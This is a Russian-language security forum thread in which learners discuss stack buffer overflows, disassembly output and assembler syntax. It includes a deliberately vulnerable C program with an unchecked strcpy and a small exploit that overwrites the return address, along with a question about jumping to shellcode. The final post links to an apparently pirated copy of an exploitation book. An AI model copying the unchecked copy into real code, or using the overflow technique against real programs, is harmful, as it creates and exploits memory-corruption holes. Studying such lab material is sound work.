ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

07.11.2006, 23:05
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
2Go0o$E, Спасибо, за книжку...
Кстате немного поигрался, и вот что получилось  , это врядли было задуманно 
1└PГь&PН|$$WWPИG∙ш4r-AAAAAAAhiddenN(Alt+255)(Alt+18)
|
|
|

08.11.2006, 11:45
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Хмм.. ну а как тогда узнать точно по дизассемблированной функции сколько места в стеке под массив резервируется?
Код:
0x08048597 <return_input+3>: sub $0x28,%esp
Почему тут число 0x28 (40), а у вас получается 36 ? Откуда у меня берутся лишние 4 байта?
Когда я начинаю переписывать с 36го байта по 40й, ни eip ни ebp не переписываются.
И ещё вопрос, перенаправил вывод с програмки которая генерирует строку ввода в файл "(./a.out : cat) > 1.txt" В конце файла откудато взялись байты "01 0A", откуда они взялись?
З.Ы.
Книжку я купил на русском языке в магазине "буквоед" в Питере (рядом с м. Площадь Восстания за 830 руб), на озоне вроде тоже продаётся, но блин дорогая.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 08.11.2006 в 18:13..
|
|
|

08.11.2006, 18:22
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу.
Код:
0x08048597 <return_input+3>: sub $0x28,%esp
но наверно ты имеешь ввиду этот фрагмент
Код:
004012D4 >/$ 55 PUSH EBP
004012D5 |. 89E5 MOV EBP, ESP
004012D7 |. 83EC 20 SUB ESP, 20
004012DA |. 57 PUSH EDI
004012DB |. 8D7D E2 LEA EDI, DWORD PTR [EBP-1E]
004012DE |. 57 PUSH EDI ; /s
004012DF |. E8 145F0000 CALL xxx._gets ; \_gets
004012E4 |. 83C4 04 ADD ESP, 4
004012E7 |. 8D7D E2 LEA EDI, DWORD PTR [EBP-1E]
004012EA |. 57 PUSH EDI ; /<%s>
004012EB |. 68 A0A04000 PUSH xxx.0040A0A0 ; |format = "%s",LF,""
004012F0 |. E8 A75C0000 CALL xxx._printf ; \_printf
004012F5 |. 83C4 08 ADD ESP, 8
004012F8 |. 5F POP EDI
004012F9 |. C9 LEAVE
004012FA \. C3 RET
в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp, сохранённые в начале функции, которые в свою очередь убераются инструкцией LEAVE.
|
|
|

09.11.2006, 16:07
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от hidden
Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу.
Код:
0x08048597 <return_input+3>: sub $0x28,%esp
Хехе, это другая разновидность синтаксиса ассемблера (AT&T), а ты привык к синтаксису Intel.
GDB поддерживает синтаксис AT&T, а OllyDbg синтаксис Intel. По сути sub $0x28,%esp в записи AT&T эквивалентно sub esp, 28 в Intel.
В синтаксисе AT&T операнды пишутся как "источник, приёмник", а в Intel наоборот + есть ещё кое какие различия.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|

09.11.2006, 19:11
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу.
это синтаксис AT&T.
в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp, сохранённые в начале функции, которые в свою очередь убераются инструкцией LEAVE.
хм. ну вроде так, угу
в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp,
поместить-то два байта можно в стек (PUSH BX, например), но нужно выравнивать стек по границе машинного слова (32бит)
|
|
|

12.12.2009, 21:35
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Прошу разъяснить мне на пальцах. Написал небольшую програмку на си
Код:
#include "stdio.h"
void return_input (char *s) {
char array[30];
strcpy(array,s);
printf("%s\n", array);
}
char text () {
printf("text\n");
}
main ( int argc, char *argv[] ) {
text();
return_input(argv[1]);
return 0;
}
И эксплоет
Код:
#include "stdlib.h"
main () {
char stuff[]= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
execlp("./bof","./bof",&stuff,NULL);
}
По адресу 0x08048496 у меня находится вызов функции text()
Работает нормально, т.е вывод
spyder@l33t:~/c> ./eip
text
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
text
Теперь хочу передать управление шеллкоду. Вот тут я немогу понять. Где то пишут что нужно передать управление коду jmp esp. Вопрос1 - Где мне взять его, система nix.
Так же пишут что шеллкод нужно передавать сразу после адреса возврата или до него, заполняя остальное место в буфере нопами, в таком случае как узнать адрес куда мне нужно передать управление? Читал статьи, вникнуть немогу
Заранее спасибо
|
|
|

17.12.2009, 13:22
|
|
Постоянный
Регистрация: 13.11.2009
Сообщений: 437
Провел на форуме: 709575
Репутация:
17
|
|
Cылка битая. Вот на русском http://letitbit.net/download/fd46de141051/iskustvo-vzloma-i-zashitu-system.rar.html
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|